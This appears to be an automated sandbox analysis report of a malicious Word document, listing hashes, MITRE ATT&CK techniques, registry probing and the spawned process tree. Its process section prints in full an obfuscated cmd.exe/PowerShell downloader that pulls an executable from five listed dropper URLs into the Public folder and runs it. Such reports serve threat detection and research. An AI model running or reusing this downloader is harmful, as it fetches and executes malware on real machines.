9a83aff8b39abbb87e6299b5c5e2b1f19b00d55dc539bb24b98fa063f88bbe74

General

Target

6394e6330c52ff9ff6b9db6a65e3c5b9_JaffaCakes118.doc
Size

78KB
MD5

6394e6330c52ff9ff6b9db6a65e3c5b9
SHA1

eecd0369c532450eb4073621a0380d235d3a31e8
SHA256

9a83aff8b39abbb87e6299b5c5e2b1f19b00d55dc539bb24b98fa063f88bbe74
SHA512

19159d11f4d4721cbcd920bf86dc39252a1188cf3d4955b5074af91be46cfaed1704aa6888587773b6f13bb4e8d1ad71825c8b0169d50d86b266e0217f347592
SSDEEP

768:FtVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBd8LTTnLlCiJRz9wORjKkh58/460B:Ftocn1kp59gxBK85fBCLTbJCNw6Z+a96

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://samix-num.com/BcFUhvDr

exe.dropper

http://economiadigital.biz/NKq5eOZ

exe.dropper

http://ftp.dailyignite.club/YNB95t2

exe.dropper

http://migoshen.org/FNE1TVJjI

exe.dropper

http://vanoostrom.org/w8yXb69h5

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	5808	3728	cmd.exe	WINWORD.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3728 WINWORD.EXE
3728 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1008 powershell.exe
1008 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1008 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3728 WINWORD.EXE
3728 WINWORD.EXE
3728 WINWORD.EXE
3728 WINWORD.EXE
3728 WINWORD.EXE
3728 WINWORD.EXE
3728 WINWORD.EXE

pid	process
3728	WINWORD.EXE
3728	WINWORD.EXE

pid	process
1008	powershell.exe
1008	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1008	powershell.exe

pid	process
3728	WINWORD.EXE
3728	WINWORD.EXE
3728	WINWORD.EXE
3728	WINWORD.EXE
3728	WINWORD.EXE
3728	WINWORD.EXE
3728	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 3728 wrote to memory of 5280	3728	WINWORD.EXE	splwow64.exe
PID 3728 wrote to memory of 5280	3728	WINWORD.EXE	splwow64.exe
PID 3728 wrote to memory of 5808	3728	WINWORD.EXE	cmd.exe
PID 3728 wrote to memory of 5808	3728	WINWORD.EXE	cmd.exe
PID 5808 wrote to memory of 1008	5808	cmd.exe	powershell.exe
PID 5808 wrote to memory of 1008	5808	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6394e6330c52ff9ff6b9db6a65e3c5b9_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3728
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:5280
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Prairie80='Internal14';$Massachusetts17=new-object Net.WebClient;$Somalia94='http://samix-num.com/BcFUhvDr@http://economiadigital.biz/NKq5eOZ@http://ftp.dailyignite.club/YNB95t2@http://migoshen.org/FNE1TVJjI@http://vanoostrom.org/w8yXb69h5'.Split('@');$solutions78='extend49';$eenable81 = '53';$NorthCarolina56='Lake74';$Rubber84=$env:public+'\'+$eenable81+'.exe';foreach($UgandaShilling85 in $Somalia94){try{$Massachusetts17.DownloadFile($UgandaShilling85, $Rubber84);$Concrete67='endtoend42';If ((Get-Item $Rubber84).length -ge 80000) {Invoke-Item $Rubber84;$Sleek97='ClothingGarden23';break;}}catch{}}$Wooden49='Greens14';
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:5808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $Prairie80='Internal14';$Massachusetts17=new-object Net.WebClient;$Somalia94='http://samix-num.com/BcFUhvDr@http://economiadigital.biz/NKq5eOZ@http://ftp.dailyignite.club/YNB95t2@http://migoshen.org/FNE1TVJjI@http://vanoostrom.org/w8yXb69h5'.Split('@');$solutions78='extend49';$eenable81 = '53';$NorthCarolina56='Lake74';$Rubber84=$env:public+'\'+$eenable81+'.exe';foreach($UgandaShilling85 in $Somalia94){try{$Massachusetts17.DownloadFile($UgandaShilling85, $Rubber84);$Concrete67='endtoend42';If ((Get-Item $Rubber84).length -ge 80000) {Invoke-Item $Rubber84;$Sleek97='ClothingGarden23';break;}}catch{}}$Wooden49='Greens14';
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\DB4D1FEF.wmf

Filesize
494B

MD5
8e0b0a4d3302affcaca3bb00a89b2a91

SHA1
4b84be72d6bc126f4c81b2b231d2a4b34673edf6

SHA256
1539214efe77775e0e583a48a015ce79c0222fb565d1da58bacbbfaa9d56e1c8

SHA512
3a4f17923159f9fce632a0d688bbefcb927a020cc4cd6e5a9fc3780e0dcc061a86faf2c89482426c98318638177c0f87d3f12e02b7094819f0aee39ac49197b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD73BD.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_114gihjs.fws.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1008-60-0x00000190E4DC0000-0x00000190E4DE2000-memory.dmp

Filesize
136KB

Download
memory/3728-9-0x00007FFF51570000-0x00007FFF51765000-memory.dmp

Filesize
2.0MB

Download
memory/3728-17-0x00007FFF51570000-0x00007FFF51765000-memory.dmp

Filesize
2.0MB

Download
memory/3728-6-0x00007FFF51570000-0x00007FFF51765000-memory.dmp

Filesize
2.0MB

Download
memory/3728-7-0x00007FFF51570000-0x00007FFF51765000-memory.dmp

Filesize
2.0MB

Download
memory/3728-0-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/3728-10-0x00007FFF51570000-0x00007FFF51765000-memory.dmp

Filesize
2.0MB

Download
memory/3728-14-0x00007FFF51570000-0x00007FFF51765000-memory.dmp

Filesize
2.0MB

Download
memory/3728-16-0x00007FFF0EE30000-0x00007FFF0EE40000-memory.dmp

Filesize
64KB

Download
memory/3728-15-0x00007FFF51570000-0x00007FFF51765000-memory.dmp

Filesize
2.0MB

Download
memory/3728-13-0x00007FFF51570000-0x00007FFF51765000-memory.dmp

Filesize
2.0MB

Download
memory/3728-18-0x00007FFF51570000-0x00007FFF51765000-memory.dmp

Filesize
2.0MB

Download
memory/3728-19-0x00007FFF51570000-0x00007FFF51765000-memory.dmp

Filesize
2.0MB

Download
memory/3728-21-0x00007FFF51570000-0x00007FFF51765000-memory.dmp

Filesize
2.0MB

Download
memory/3728-22-0x00007FFF0EE30000-0x00007FFF0EE40000-memory.dmp

Filesize
64KB

Download
memory/3728-20-0x00007FFF51570000-0x00007FFF51765000-memory.dmp

Filesize
2.0MB

Download
memory/3728-5-0x00007FFF5160D000-0x00007FFF5160E000-memory.dmp

Filesize
4KB

Download
memory/3728-12-0x00007FFF51570000-0x00007FFF51765000-memory.dmp

Filesize
2.0MB

Download
memory/3728-11-0x00007FFF51570000-0x00007FFF51765000-memory.dmp

Filesize
2.0MB

Download
memory/3728-8-0x00007FFF51570000-0x00007FFF51765000-memory.dmp

Filesize
2.0MB

Download
memory/3728-4-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/3728-3-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/3728-1-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/3728-2-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/3728-552-0x00007FFF51570000-0x00007FFF51765000-memory.dmp

Filesize
2.0MB

Download
memory/3728-581-0x00007FFF51570000-0x00007FFF51765000-memory.dmp

Filesize
2.0MB

Download
memory/3728-580-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/3728-579-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/3728-578-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/3728-577-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads